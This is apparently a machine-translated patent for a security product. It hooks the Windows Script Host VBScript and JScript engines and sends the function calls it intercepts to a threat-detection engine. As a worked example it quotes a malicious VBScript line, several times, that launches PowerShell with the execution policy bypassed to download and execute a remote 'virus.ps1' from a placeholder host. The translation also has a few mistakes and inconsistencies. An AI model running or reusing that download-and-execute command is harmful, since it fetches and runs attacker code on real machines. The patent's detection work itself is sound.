A script dynamic execution monitoring method, device, electronic device and storage medium

Abstract

The present invention provides a method, device, electronic device and storage medium for monitoring the dynamic execution of scripts. The method includes: during the execution of a script by a Windows script host process, a hook function pre-set in a script engine monitors the call of a target function by the script engine; the hook function obtains information of the target function and transmits the information of the target function to a threat behavior identification engine so that the threat behavior identification engine performs a security detection on the information of the target function; receives the security detection result of the target function, and processes the target function based on the security detection result. The present invention obtains the target function called by the script engine through a preset hook function, and detects the target function information through the threat behavior identification engine, which greatly improves the security protection monitoring capability for malicious script execution.

Description

Technical Field

[0001] The present invention belongs to the technical field of network security attack protection, and in particular to a script dynamic execution monitoring method, device, electronic equipment and storage medium. Background Art

[0002] WSH (Windows Script Host) is a built-in management tool component of the Windows system provided by Microsoft. It supports the execution of VBScript or Jscript script code by default. The scripting language functions of VBScript and JScript are very powerful. They use the openness of the Windows system and can directly operate the network, file system, registry, WMI, etc. by calling some ready-made Windows objects and components. The functions are very powerful. Attackers can execute VBScript or Jscript scripts through WSH to launch attacks without the help of other third-party executable files. At the same time, VBScript or Jscript has the advantages of script types. They are text types (non-binary executable files), easy to write and execute. Through some coding obfuscation and encryption techniques, it is difficult to understand and extremely polymorphic, making it more difficult for traditional antivirus software to detect and control the behavior of scripts. In recent network attacks, it is also often used by attack groups. At present, most traditional antivirus software is in the process of monitoring the process chain and command line of WSH or some operation behavior information to make protection interception features, but the acquisition of these feature information is limited and insufficient, which may lead to misinterpretation or bypass by attackers. Summary of the invention

[0003] The purpose of the present invention is to provide a script dynamic execution monitoring method, device, electronic device and storage medium to solve the problem in the prior art that attackers launch attacks by executing Vbs / JS scripts through WSH, and greatly improve the security protection monitoring capability for malicious script execution by monitoring all information of Vbscript / Jscript engines calling functions in the execution script.

[0004] The present invention provides a script dynamic execution monitoring method, comprising:

[0005] During the execution of the script by the Windows script host process, a hook function pre-set in the script engine monitors the call of the target function by the script engine;

[0006] The hook function obtains information of the target function and transmits the information of the target function to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the information of the target function;

[0007] A safety detection result of an objective function is received, and the objective function is processed based on the safety detection result.

[0008] According to the script dynamic execution monitoring method provided by the present invention, during the process of executing the script in the Windows script host process, before the hook function pre-set in the script engine monitors the call of the script engine to the target function, the method further includes:

[0009] After the Windows script host process is started, setting a loading notification mechanism for the Windows script host process;

[0010] After determining that the Windows script host process loads a target module according to the loading notification mechanism, determining the type of the script to be executed by the Windows script host process according to the type of the target module;

[0011] According to the type of the script to be executed by the Windows script host process, a hook function is set for a script engine of a corresponding type in the Windows script host process.

[0012] According to the script dynamic execution monitoring method provided by the present invention, the setting of a loading notification mechanism for the Windows script host process includes:

[0013] When the version of the Windows operating system is Windows XP, the loading notification mechanism is set by setting a hook function in the LdrLoadDll function in the ntdll module;

[0014] When the version of the Windows operating system is Windows Vista or later, the loading notification mechanism is set by calling the LdrRegisterDllNotification function to register the dynamic link library.

[0015] According to the script dynamic execution monitoring method provided by the present invention, the target module is a jscript.dll module or a vbscript.dll module;

[0016] Accordingly, determining the type of the script to be executed by the Windows script host process according to the type of the target module includes:

[0017] When the target module is a jscript.dll module, determining that the script to be executed by the Windows script host process is a Jscript script;

[0018] When the target module is the vbscript.dll module, it is determined that the script to be executed by the Windows script host process is a VBScript script.

[0019] According to the script dynamic execution monitoring method provided by the present invention, the method of setting a hook function for a script engine of a corresponding type in the Windows script host process according to the type of the script to be executed by the Windows script host process comprises:

[0020] In the case where the script to be executed by the Windows script host process is a Jscript script, a hook function is set for the Jscript script engine in the Windows script host process, wherein the hook function is used to monitor a target function, wherein the target function is at least one of the following functions: an InvokeByName function, a JsEval function, a ParseScriptText function, and a CLSIDFromProgID function;

[0021] In the case that the script to be executed by the Windows script host process is a VBScript script, a hook function is set for the VBScript script engine in the Windows script host process, and the hook function is used to monitor the target function, and the target function is at least one of the following functions: InvokeDispatch function, VbsExecute function, VbsGetObject function and ParseScriptText function.

[0022] According to the script dynamic execution monitoring method provided by the present invention, the information of the target function includes: the name of the target function, the number of parameters included in the target function, the data type of the parameters included in the target function and the data of the parameters included in the target function.

[0023] According to the script dynamic execution monitoring method provided by the present invention, the receiving of the security detection result of the target function and processing the target function based on the security detection result include:

[0024] When the safety detection result of the objective function is safe, the objective function is released.

[0025] According to the script dynamic execution monitoring method provided by the present invention, the receiving of the security detection result of the target function and processing the target function based on the security detection result include:

[0026] When the security detection result of the target function is that there is a threat, the Windows script host process is terminated or the script engine's call to the target function is rejected.

[0027] The present invention also provides a script dynamic execution monitoring device, comprising:

[0028] The target function call monitoring module is used to monitor the call of the target function by the script engine through the hook function pre-set in the script engine during the execution of the script by the Windows script host process;

[0029] A target function information detection module, used for the hook function to obtain the target function information and transmit the target function information to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the target function information;

[0030] The objective function processing module is used to receive the safety detection result of the objective function and process the objective function based on the safety detection result.

[0031] The present invention also provides an electronic device, comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein the processor implements the steps of the script dynamic execution monitoring method when executing the program.

[0032] The present invention also provides a non-transitory computer-readable storage medium on which a computer program is stored. When the computer program is executed by a processor, the steps of the script dynamic execution monitoring method are implemented.

[0033] The present invention also provides a computer program product, which includes computer executable instructions, and the instructions are used to implement the steps of the script dynamic execution monitoring method when being executed.

[0034] The script dynamic execution monitoring method provided by the present invention obtains information of the target function after monitoring the script engine's call to the target function during the script execution process of the Windows script host process, and transmits the target function information to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the target function information; and processes the target function based on the received security detection result of the target function. The present invention obtains the target function called by the script engine through a preset hook function, and detects the target function information through the threat behavior identification engine, which greatly improves the security protection monitoring capability for malicious script execution. BRIEF DESCRIPTION OF THE DRAWINGS

[0035] In order to more clearly illustrate the technical solutions in the present invention or the prior art, the following briefly introduces the drawings required for use in the embodiments or the description of the prior art. Obviously, the drawings described below are some embodiments of the present invention. For ordinary technicians in this field, other drawings can be obtained based on these drawings without paying creative work.

[0036] Figure 1 It is a flowchart of the script detection method provided by the present invention;

[0037] Figure 2 It is a structural schematic diagram of the script detection device provided by the present invention;

[0038] Figure 3 It is a structural schematic diagram of the electronic device provided by the present invention. DETAILED DESCRIPTION

[0039] In order to make the purpose, technical solution and advantages of the present invention clearer, the technical solution of the present invention will be clearly and completely described below in conjunction with the drawings of the present invention. Obviously, the described embodiments are part of the embodiments of the present invention, not all of the embodiments. Based on the embodiments of the present invention, all other embodiments obtained by ordinary technicians in this field without creative work are within the scope of protection of the present invention.

[0040] Combine the following Figure 1-Figure 3 The present invention describes a script dynamic execution monitoring method, device, electronic device and storage medium.

[0041] Figure 1 The flowchart of the script dynamic execution monitoring method provided by the present invention is as follows: Figure 1 As shown, the script dynamic execution monitoring method provided by the present invention includes:

[0042] Step 110: During the execution of the script by the Windows script host process, the hook function pre-set in the script engine monitors the call of the target function by the script engine;

[0043] In this embodiment, Windows Script Host is referred to as WSH (Windows Scripting Host), which is a scripting language working environment built into the Windows operating system, specifically including wscript.exe or cscript.exe, which are both script interpreters under the Windows system. A process is a running activity of a program in a computer on a certain data set. It is the basic unit for resource allocation and scheduling of the system and the basis of the operating system structure. A script is an extension of a batch file and is a program saved in plain text. A script engine is an interpreter of a computer programming language, and its function is to interpret and execute the user's program text and translate the program text into machine code that can be executed by the computer. A hook function, also known as a Hook function, can capture the target function first, obtain control of the target function, and perform additional processing on the target function before the script engine calls the target function.

[0044] In this embodiment, during the execution of the script by the WSH process, the script engine will call the target function in the script, and the Hook function pre-set in the script engine will monitor the script engine's call to the target function and obtain the control right of the target function in advance.

[0045] Step 120: the hook function obtains information of the target function, and transmits the information of the target function to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the information of the target function;

[0046] In this embodiment, the engine is essentially a piece of code that plays a certain control role. Correspondingly, the threat behavior identification engine is a piece of code that can identify the target function used to execute the threat behavior in the target function.

[0047] In this embodiment, the hook function obtains the target function information and transmits the target function information to the threat behavior identification engine, which performs security monitoring on the target function information. Take the following malicious VBS script with the script path c:\xxx.vbs as an example:

[0048] Set objShell=CreateObject("Wscript.Shell")

[0049] objShell.run("powershell-exec bypass-C IEX(New-Object Net.WebClient).DownloadString('https: / / www.xxx.com / virus.ps1')").

[0050] Correspondingly, the target function information obtained by the hook function includes:

[0051] Target function: IWshShell3.Run;

[0052] Parameter data: powershell-exec bypass-C IEX(New-Object Net.WebClient).DownloadString('https: / / www.qianxin.com / static / images / logo.png');

[0053] Target script path: c:\xxx.vbs.

[0054] The hook function passes the information of the target function to the threat behavior identification engine. The threat behavior identification engine matches it through the cloud threat identification rules. If it matches the IWshShell3.Run function executed in the VBS script, and the parameter data is the code executed by the malicious PowerShell, it will return the interception status to the terminal for further interception and disposal.

[0055] Step 130: Receive a safety detection result of the target function, and process the target function based on the safety detection result.

[0056] In this embodiment, the security monitoring result of the target function directly determines whether the target function can continue to be executed. If the target function can pass the security detection of the threat behavior identification engine, the target function will continue to be executed; if the target function does not pass the security detection of the threat behavior identification engine, the target function will not continue to be executed.

[0057] The script dynamic execution monitoring method provided by the present invention obtains information of the target function after monitoring the script engine's call to the target function during the script execution process of the Windows script host process, and transmits the target function information to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the target function information; and processes the target function based on the received security detection result of the target function. The present invention obtains the target function called by the script engine through a preset hook function, and detects the target function information through the threat behavior identification engine, which greatly improves the security protection monitoring capability for malicious script execution.

[0058] Based on any of the above embodiments, in this embodiment, during the process of executing the script in the Windows script host process, before the hook function preset in the script engine monitors the call of the script engine to the target function, the method further includes:

[0059] After the Windows script host process is started, setting a loading notification mechanism for the Windows script host process;

[0060] After determining that the Windows script host process loads a target module according to the loading notification mechanism, determining the type of the script to be executed by the Windows script host process according to the type of the target module;

[0061] According to the type of the script to be executed by the Windows script host process, a hook function is set for a script engine of a corresponding type in the Windows script host process.

[0062] In this embodiment, the loading notification mechanism is used to monitor the Windows script host process. When the Windows script host process loads a target module, the loading notification mechanism will monitor it. A module refers to a program unit that has an independent function to execute a certain function. Therefore, the target module refers to a program unit that has an independent function to execute a specific function that is monitored by the loading notification mechanism, such as a jscript.dll module or a vbscript.dll module.

[0063] In this embodiment, after the Windows script host process is started, the system sets a loading notification mechanism for the Windows script host process. After the loading notification mechanism monitors that the Windows script host process has loaded a target module, the system can determine the type of script to be executed next by the Windows script host process based on the type of the target module. The system sets a hook function for a script engine of the corresponding type in the Windows script host process based on the determined script type.

[0064] The script dynamic execution monitoring method provided by the present invention determines the target module loaded by the Windows script host process by setting a loading notification mechanism after the Windows script host process is started, further determines the type of the script to be executed by the Windows script host process based on the determined type of the target module, and sets a hook function for a script engine of a corresponding type in the Windows script host process based on the determined type of the script. The step of presetting the hook function prepares a prerequisite for subsequent monitoring of the target function, and strongly supports the security protection monitoring capability for malicious script execution.

[0065] Based on any of the above embodiments, in this embodiment, setting a loading notification mechanism for the Windows script host process includes:

[0066] When the version of the Windows operating system is Windows XP, the loading notification mechanism is set by setting a hook function in the LdrLoadDll function in the ntdll module;

[0067] When the version of the Windows operating system is Windows Vista or later, the loading notification mechanism is set by calling the LdrRegisterDllNotification function to register the dynamic link library.

[0068] In this embodiment, ntdll.dll is an NT kernel-level file in the windonws operating system. When Windows starts, ntdll.dll resides in a specific write-protected area in the memory, so that other programs cannot occupy this memory area. The LdrRegisterDllNotification function is provided by the Windows driver development library and is used to monitor the events of the process loading / unloading the dynamic link library. The dynamic link library is called DLL (Dynamic Link Library) in English, which is a library containing code and data that can be used by multiple programs at the same time.

[0069] In this embodiment, under the condition of Windows XP system, the implementation method of setting the loading notification mechanism of the Windows script host process is to set a hook function in the LdrLoadDll function in the ntdll module; under the condition of Windows Vista and later operating systems, the implementation method of setting the loading notification mechanism of the Windows script host process is to register the dynamic link library by calling the LdrRegisterDllNotification function.

[0070] The script dynamic execution monitoring method provided by the present invention realizes the monitoring of the target module loaded by the Windows script host process by setting a hook function in the LdrLoadDll function in the ntdll module under the condition of the Windows XP system; or calling the LdrRegisterDllNotification function to register the dynamic link library to set the loading notification mechanism under the condition of the Windows Vista and later operating systems, thereby preparing the prerequisite for the monitoring of the subsequent target function and effectively supporting the security protection monitoring capability for the execution of malicious scripts.

[0071] Based on any of the above embodiments, in this embodiment, the target module is a jscript.dll module or a vbscript.dll module;

[0072] Accordingly, determining the type of the script to be executed by the Windows script host process according to the type of the target module includes:

[0073] When the target module is a jscript.dll module, determining that the script to be executed by the Windows script host process is a Jscript script;

[0074] When the target module is the vbscript.dll module, it is determined that the script to be executed by the Windows script host process is a VBScript script.

[0075] In this embodiment, jscript.dll is a Microsoft JavaScript script related support file, which is a way of implementing the concept of shared function library in Microsoft Windows operating system, and encapsulates a large amount of code that is indispensable for the normal operation of the system. vbscript.dll is a Microsoft VBScript script related support file, which is also an indispensable file for computer running software and games. The absence of vbscript.dll file may cause some software or games to not run normally. JScript is an active scripting language developed by Microsoft, which is Microsoft's implementation of ECMAScript specification. VBScript is a lightweight interpreted language in Microsoft environment, and it is also the default programming language of ASP dynamic web pages.

[0076] In this embodiment, when the target module is the jscript.dll module, the system determines that the script to be executed by the Windows script host process is a Jscript script; when the target module is the vbscript.dll module, the system determines that the script to be executed by the Windows script host process is a VBScript script.

[0077] The script dynamic execution monitoring method provided by the present invention determines the specific script type to be executed by the Windows script host process based on the determined specific target module, further discloses a specific way to determine the script type to be executed by the Windows script host process, prepares the prerequisite for the subsequent monitoring of the target function, and strongly supports the security protection monitoring capability for the execution of malicious scripts.

[0078] Based on any of the above embodiments, in this embodiment, the step of setting a hook function for a script engine of a corresponding type in the Windows script host process according to the type of the script to be executed by the Windows script host process includes:

[0079] In the case where the script to be executed by the Windows script host process is a Jscript script, a hook function is set for the Jscript script engine in the Windows script host process, wherein the hook function is used to monitor a target function, wherein the target function is at least one of the following functions: an InvokeByName function, a JsEval function, a ParseScriptText function, and a CLSIDFromProgID function;

[0080] In the case that the script to be executed by the Windows script host process is a VBScript script, a hook function is set for the VBScript script engine in the Windows script host process, and the hook function is used to monitor the target function, and the target function is at least one of the following functions: InvokeDispatch function, VbsExecute function, VbsGetObject function and ParseScriptText function.

[0081] In this embodiment, a function refers to a program or code that can be directly referenced by another program or code. The InvokeByName function, the JsEval function, the ParseScriptText function, and the CLSIDFromProgID function are target functions corresponding to the Jscript script, and the InvokeDispatch function, the VbsExecute function, the VbsGetObject function, and the ParseScriptText function are target functions corresponding to the VBScript script.

[0082] In this embodiment, when the script to be executed by the Windows script host process is a Jscript script, a hook function for monitoring the target function is set for the Jscript script engine in the Windows script host process, wherein the target function includes the InvokeDispatch function, the VbsExecute function, the VbsGetObject function, and the ParseScriptText function; when the script to be executed by the Windows script host process is a VBScript script, a hook function for monitoring the target function is set for the VBScript script engine in the Windows script host process, wherein the target function includes the InvokeDispatch function, the VbsExecute function, the VbsGetObject function, and the ParseScriptText function.

[0083] The script dynamic execution monitoring method provided by the present invention sets a hook function to monitor the corresponding specific target function based on a determined specific script type, further discloses the specific type of the target function, prepares the prerequisite for subsequent monitoring of the target function, and strongly supports the security protection monitoring capability for malicious script execution.

[0084] Based on any of the above embodiments, in this embodiment, the information of the objective function includes: the name of the objective function, the number of parameters included in the objective function, the data type of the parameters included in the objective function, and the data of the parameters included in the objective function.

[0085] In this embodiment, a function is a fixed program segment, or a subroutine. A parameter is an entry point of a function when implementing a fixed operation function, also called a parameter variable.

[0086] In this embodiment, the following VBS script is taken as an example:

[0087] Set objShell=CreateObject("Wscript.Shell")

[0088] objShell.run("powershell-exec bypass-C IEX(New-Object Net.WebClient).DownloadString('https: / / www.xxx.com / virus.ps1')").

[0089] The above VBS script contains a total of 2 target function calls.

[0090] The first objective function consists of:

[0091] Function name: CreateObject;

[0092] Number of parameters: 1;

[0093] Parameter data type: string;

[0094] Parameter data: Wscript.Shell.

[0095] The second objective function includes:

[0096] Function name: IWshShell3.Run;

[0097] Number of parameters: 1;

[0098] Parameter data type: string;

[0099] Parameter data: powershell-exec bypass-C IEX(New-Object Net.WebClient).DownloadString('https: / / www.xxx.com / virus.ps1').

[0100] The script dynamic execution monitoring method provided by the present invention further clarifies the specific situation of monitoring the target function by disclosing the specific components contained in the information of the target function, and strongly supports the security protection monitoring capability for malicious script execution.

[0101] Based on any of the above embodiments, in this embodiment, receiving a security detection result of a target function, and processing the target function based on the security detection result includes:

[0102] When the safety detection result of the objective function is safe, the objective function is released.

[0103] In this embodiment, the system receives the detection result of the threat behavior recognition engine on the information of the target function. If the detection result shows that there is no threat information in the information of the target function, the system allows the script engine to continue to call the target function and perform subsequent operations.

[0104] The script dynamic execution monitoring method provided by the present invention, by clarifying that the target function is released when the security detection result of the target function is safe, further discloses the specific implementation method of processing the target function based on the security detection result, and strongly supports the security protection monitoring capability for malicious script execution.

[0105] Based on any of the above embodiments, in this embodiment, receiving a security detection result of a target function, and processing the target function based on the security detection result includes:

[0106] When the security detection result of the target function is that there is a threat, the Windows script host process is terminated or the script engine's call to the target function is rejected.

[0107] In this embodiment, the system receives the detection result of the threat behavior identification engine on the information of the target function. If the detection result shows that there is threat information in the information of the target function, the system ends the Windows script host process or rejects the script engine's call to the target function.

[0108] The script dynamic execution monitoring method provided by the present invention terminates the Windows script host process or rejects the script engine's call to the target function by clarifying that when the security detection result of the target function is a threat, it further discloses a specific implementation method for processing the target function based on the security detection result, which strongly supports the security protection monitoring capability for malicious script execution.

[0109] The following is a description of a script dynamic execution monitoring device provided by the present invention. The script dynamic execution monitoring device described below and the script dynamic execution monitoring method described above can be referenced to each other.

[0110] Figure 2 The structure diagram of the script dynamic execution monitoring device provided by the present invention is as follows: Figure 2 As shown, the script dynamic execution monitoring device provided by the present invention includes:

[0111] The target function call monitoring module 210 is used to monitor the call of the target function by the script engine through the hook function pre-set in the script engine during the execution of the script by the Windows script host process;

[0112] A target function information detection module 220, which is used for the hook function to obtain the target function information and transmit the target function information to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the target function information;

[0113] The objective function processing module 230 is used to receive the safety detection result of the objective function and process the objective function based on the safety detection result.

[0114] The script dynamic execution monitoring device provided by the present invention uses a hook function pre-set in the script engine to monitor the script engine's call to the target function during the Windows script host process executing the script by setting a target function call monitoring module, setting a target function information detection module to obtain the target function information through the hook function, and transmitting the target function information to the threat behavior identification engine so that the threat behavior identification engine performs security detection on the target function information, and setting a target function processing module to process the target function based on the received security detection result of the target function. The present invention obtains the target function called by the script engine through a preset hook function, and detects the target function information through the threat behavior identification engine, which greatly improves the security protection monitoring capability for malicious script execution.

[0115] Based on any of the above embodiments, in this embodiment, according to the script dynamic execution monitoring device provided by the present invention, the device further includes:

[0116] A loading notification mechanism setting module, used to set a loading notification mechanism for the Windows script host process after the Windows script host process is started;

[0117] A script type determination module, configured to determine the type of script to be executed by the Windows script host process according to the type of the target module after determining that the Windows script host process loads a target module according to the loading notification mechanism;

[0118] The hook function setting module is used to set a hook function for a script engine of a corresponding type in the Windows script host process according to the type of the script to be executed by the Windows script host process.

[0119] The script dynamic execution monitoring device provided by the present invention sets a loading notification mechanism setting module to set a loading notification mechanism after the Windows script host process is started; sets a script type determination module to determine the Windows script host process loading target module according to the loading notification mechanism, and further determines the type of the script to be executed by the Windows script host process based on the determined target module type; sets a hook function setting module to set a hook function for a script engine of a corresponding type in the Windows script host process based on the determined script type, and the preset hook function prepares a prerequisite for subsequent monitoring of the target function, which effectively supports the security protection monitoring capability for malicious script execution.

[0120] Based on any of the above embodiments, in this embodiment, according to the script dynamic execution monitoring device provided by the present invention, the loading notification mechanism setting module further includes:

[0121] The first loading notification mechanism setting submodule is used to set the loading notification mechanism by setting a hook function in the LdrLoadDll function in the ntdll module when the version of the Windows operating system is Windows XP system;

[0122] The second loading notification mechanism setting submodule is used to set the loading notification mechanism by calling the LdrRegisterDllNotification function to register the dynamic link library when the version of the Windows operating system is Windows Vista or later.

[0123] The script dynamic execution monitoring device provided by the present invention realizes the monitoring of the target module loaded by the Windows script host process, prepares the prerequisite for the monitoring of the subsequent target function, and effectively supports the security protection monitoring capability for the execution of malicious scripts.

[0124] Based on any of the above embodiments, in this embodiment, according to the script dynamic execution monitoring device provided by the present invention, the target module is a jscript.dll module or a vbscript.dll module, and accordingly, the script type determination module further includes:

[0125] A first script type determination submodule, used for determining that the script to be executed by the Windows script host process is a Jscript script when the target module is a jscript.dll module;

[0126] The second script type determination submodule is used to determine that the script to be executed by the Windows script host process is a VBScript script when the target module is a vbscript.dll module.

[0127] The script dynamic execution monitoring device provided by the present invention determines the specific script type to be executed by the Windows script host process based on the determined specific target module by setting a first script type determination submodule and a second script type determination submodule, and further discloses a specific method for determining the script type to be executed by the Windows script host process, prepares the prerequisite for the subsequent monitoring of the target function, and strongly supports the security protection monitoring capability for the execution of malicious scripts.

[0128] Based on any of the above embodiments, in this embodiment, according to the script dynamic execution monitoring device provided by the present invention, the hook function setting module further includes:

[0129] A first hook function setting submodule is used to set a hook function for a Jscript script engine in the Windows script host process when the script to be executed by the Windows script host process is a Jscript script, wherein the hook function is used to monitor a target function, wherein the target function is at least one of the following functions: an InvokeByName function, a JsEval function, a ParseScriptText function, and a CLSIDFromProgID function;

[0130] The second hook function setting submodule is used to set a hook function for the VBScript script engine in the Windows script host process when the script to be executed by the Windows script host process is a VBScript script. The hook function is used to monitor the target function, and the target function is at least one of the following functions: InvokeDispatch function, VbsExecute function, VbsGetObject function and ParseScriptText function.

[0131] The script dynamic execution monitoring device provided by the present invention sets a first hook function setting submodule and a second hook function setting submodule, and sets a hook function to monitor the corresponding specific target function based on a determined specific script type, further discloses the specific type of the target function, prepares the prerequisite for subsequent monitoring of the target function, and strongly supports the security protection monitoring capability for malicious script execution.

[0132] Based on any of the above embodiments, in this embodiment, according to the script dynamic execution monitoring device provided by the present invention, the target function call monitoring module 210 further includes:

[0133] The target function information determination unit is used to determine that the target function information includes: the name of the target function, the number of parameters included in the target function, the data type of the parameters included in the target function, and the data of the parameters included in the target function.

[0134] The script dynamic execution monitoring device provided by the present invention, by setting an information determination unit of the target function, discloses the specific components contained in the information of the target function, further clarifies the specific situation of monitoring the target function, and strongly supports the security protection monitoring capability for malicious script execution.

[0135] Based on any of the above embodiments, in this embodiment, according to the script dynamic execution monitoring device provided by the present invention, the target function processing module 230 further includes:

[0136] The first objective function processing submodule is used to release the objective function when the safety detection result of the objective function is safe.

[0137] The script dynamic execution monitoring device provided by the present invention, by setting a first target function processing submodule, clearly releases the target function when the security detection result of the target function is safe, and further discloses a specific implementation method for processing the target function based on the security detection result, which strongly supports the security protection monitoring capability for malicious script execution.

[0138] Based on any of the above embodiments, in this embodiment, according to the script dynamic execution monitoring device provided by the present invention, the target function processing module 230 further includes:

[0139] The second target function processing submodule is used to terminate the Windows script host process or reject the script engine's call to the target function when the security detection result of the target function is that there is a threat.

[0140] The script dynamic execution monitoring device provided by the present invention, by setting a second target function processing submodule, clearly terminates the Windows script host process or rejects the script engine's call to the target function when the security detection result of the target function is a threat, further discloses a specific implementation method for processing the target function based on the security detection result, and strongly supports the security protection monitoring capability for malicious script execution.

[0141] In another aspect, the present invention further provides an electronic device, Figure 3 An example of a physical structure diagram of an electronic device is shown in FIG. Figure 3 As shown, the electronic device may include a processor 310, a communication bus 340, a memory 330, a communication interface 320, and a computer program stored in the memory 330 and executable on the processor 310, wherein the processor 310, the communication interface 320, and the memory 330 communicate with each other through the communication bus 340, and the processor 310 may call the logic instructions in the memory 330 to execute the script dynamic execution monitoring method, which includes:

[0142] During the execution of the script by the Windows script host process, a hook function pre-set in the script engine monitors the call of the target function by the script engine;

[0143] The hook function obtains information of the target function and transmits the information of the target function to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the information of the target function;

[0144] A safety detection result of an objective function is received, and the objective function is processed based on the safety detection result.

[0145] In another aspect, the present invention further provides a non-transitory computer-readable storage medium having a computer program stored thereon. When the computer program is executed by a processor, a script dynamic execution monitoring method can be implemented. The method comprises:

[0146] During the execution of the script by the Windows script host process, a hook function pre-set in the script engine monitors the call of the target function by the script engine;

[0147] The hook function obtains information of the target function and transmits the information of the target function to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the information of the target function;

[0148] A safety detection result of an objective function is received, and the objective function is processed based on the safety detection result.

[0149] Finally, the present invention also provides a computer program product, the computer program product comprising a computer program stored on a non-transitory computer-readable storage medium, the computer program comprising program instructions, when the program instructions are executed by a computer, the computer can implement a script dynamic execution monitoring method, the method comprising:

[0150] During the execution of the script by the Windows script host process, a hook function pre-set in the script engine monitors the call of the target function by the script engine;

[0151] The hook function obtains information of the target function and transmits the information of the target function to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the information of the target function;

[0152] A safety detection result of an objective function is received, and the objective function is processed based on the safety detection result.

[0153] The device embodiments described above are merely illustrative, wherein the units described as separate components may or may not be physically separated, and the components displayed as units may or may not be physical units, that is, they may be located in one place, or they may be distributed on multiple network units. Some or all of the modules may be selected according to actual needs to achieve the purpose of the scheme of this embodiment. Ordinary technicians in this field can understand and implement it without paying creative labor.

[0154] Through the description of the above implementation methods, those skilled in the art can clearly understand that each implementation method can be implemented by means of software plus a necessary general hardware platform, and of course, it can also be implemented by hardware. Based on this understanding, the above technical solution is essentially or the part that contributes to the prior art can be embodied in the form of a software product, and the computer software product can be stored in a computer-readable storage medium, such as ROM / RAM, a disk, an optical disk, etc., including a number of instructions for a computer device (which can be a personal computer, a server, or a network device, etc.) to execute the methods described in each embodiment or some parts of the embodiments.

[0155] Finally, it should be noted that the above embodiments are only used to illustrate the technical solutions of the present invention, rather than to limit it. Although the present invention has been described in detail with reference to the aforementioned embodiments, those skilled in the art should understand that they can still modify the technical solutions described in the aforementioned embodiments, or make equivalent replacements for some of the technical features therein. However, these modifications or replacements do not deviate the essence of the corresponding technical solutions from the spirit and scope of the technical solutions of the embodiments of the present invention.

Claims

1. A script dynamic execution monitoring method, characterized in that: include: During the execution of the script by the Windows script host process, a hook function pre-set in the script engine monitors the call of the target function by the script engine; The hook function obtains information of the target function and transmits the information of the target function to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the information of the target function; Receiving a safety detection result of an objective function, and processing the objective function based on the safety detection result; In the process of executing the script in the Windows script host process, before the hook function preset in the script engine monitors the call of the script engine to the target function, the method further includes: After the Windows script host process is started, setting a loading notification mechanism for the Windows script host process; After determining that the Windows script host process loads a target module according to the loading notification mechanism, determining the type of the script to be executed by the Windows script host process according to the type of the target module; In the case where the script to be executed by the Windows script host process is a Jscript script, a hook function is set for the Jscript script engine in the Windows script host process, wherein the hook function is used to monitor a target function, wherein the target function is at least one of the following functions: an InvokeByName function, a JsEval function, a ParseScriptText function, and a CLSIDFromProgID function; In the case that the script to be executed by the Windows script host process is a VBScript script, a hook function is set for the VBScript script engine in the Windows script host process, and the hook function is used to monitor the target function, and the target function is at least one of the following functions: InvokeDispatch function, VbsExecute function, VbsGetObject function and ParseScriptText function.

2. The script dynamic execution monitoring method according to claim 1, characterized in that: The step of setting a loading notification mechanism for the Windows script host process includes: When the version of the Windows operating system is Windows XP, the loading notification mechanism is set by setting a hook function in the LdrLoadDll function in the ntdll module; When the version of the Windows operating system is Windows Vista or later, the loading notification mechanism is set by calling the LdrRegisterDllNotification function to register the dynamic link library.

3. The script dynamic execution monitoring method according to claim 1, characterized in that: The target module is a jscript.dll module or a vbscript.dll module; Accordingly, determining the type of the script to be executed by the Windows script host process according to the type of the target module includes: When the target module is a jscript.dll module, determining that the script to be executed by the Windows script host process is a Jscript script; When the target module is the vbscript.dll module, it is determined that the script to be executed by the Windows script host process is a VBScript script.

4. The script dynamic execution monitoring method according to any one of claims 1 to 3, characterized in that: The information of the target function includes: the name of the target function, the number of parameters included in the target function, the data types of the parameters included in the target function, and the data of the parameters included in the target function.

5. The script dynamic execution monitoring method according to any one of claims 1 to 3, characterized in that: The receiving a security detection result of the target function and processing the target function based on the security detection result includes: When the safety detection result of the objective function is safe, the objective function is released.

6. The script dynamic execution monitoring method according to any one of claims 1 to 3, characterized in that: The receiving a security detection result of the target function and processing the target function based on the security detection result includes: When the security detection result of the target function is that there is a threat, the Windows script host process is terminated or the script engine's call to the target function is rejected.

7. A script dynamic execution monitoring device, characterized in that: include: The target function call monitoring module is used to monitor the call of the target function by the script engine through the hook function pre-set in the script engine during the execution of the script by the Windows script host process; A target function information detection module, used for the hook function to obtain the target function information and transmit the target function information to the threat behavior identification engine, so that the threat behavior identification engine performs security detection on the target function information; An objective function processing module, configured to receive a safety detection result of an objective function and process the objective function based on the safety detection result; The device also includes: A loading notification mechanism setting module, used to set a loading notification mechanism for the Windows script host process after the Windows script host process is started; A script type determination module, configured to determine the type of script to be executed by the Windows script host process according to the type of the target module after determining that the Windows script host process loads a target module according to the loading notification mechanism; A hook function setting module, used for setting a hook function for a Jscript script engine in a Windows script host process when the script to be executed by the Windows script host process is a Jscript script, wherein the hook function is used for monitoring a target function, wherein the target function is at least one of the following functions: an InvokeByName function, a JsEval function, a ParseScriptText function, and a CLSIDFromProgID function; The hook function setting module is also used to set a hook function for the VBScript script engine in the Windows script host process when the script to be executed by the Windows script host process is a VBScript script. The hook function is used to monitor the target function, and the target function is at least one of the following functions: InvokeDispatch function, VbsExecute function, VbsGetObject function and ParseScriptText function.

8. An electronic device comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein: When the processor executes the program, the steps of the script dynamic execution monitoring method according to any one of claims 1 to 6 are implemented.

9. A non-transitory computer-readable storage medium having a computer program stored thereon, characterized in that: When the computer program is executed by a processor, the steps of the script dynamic execution monitoring method according to any one of claims 1 to 6 are implemented.

10. A computer program product, comprising computer executable instructions, characterized in that: When executed, the instructions are used to implement the steps of the script dynamic execution monitoring method according to any one of claims 1 to 6.

Images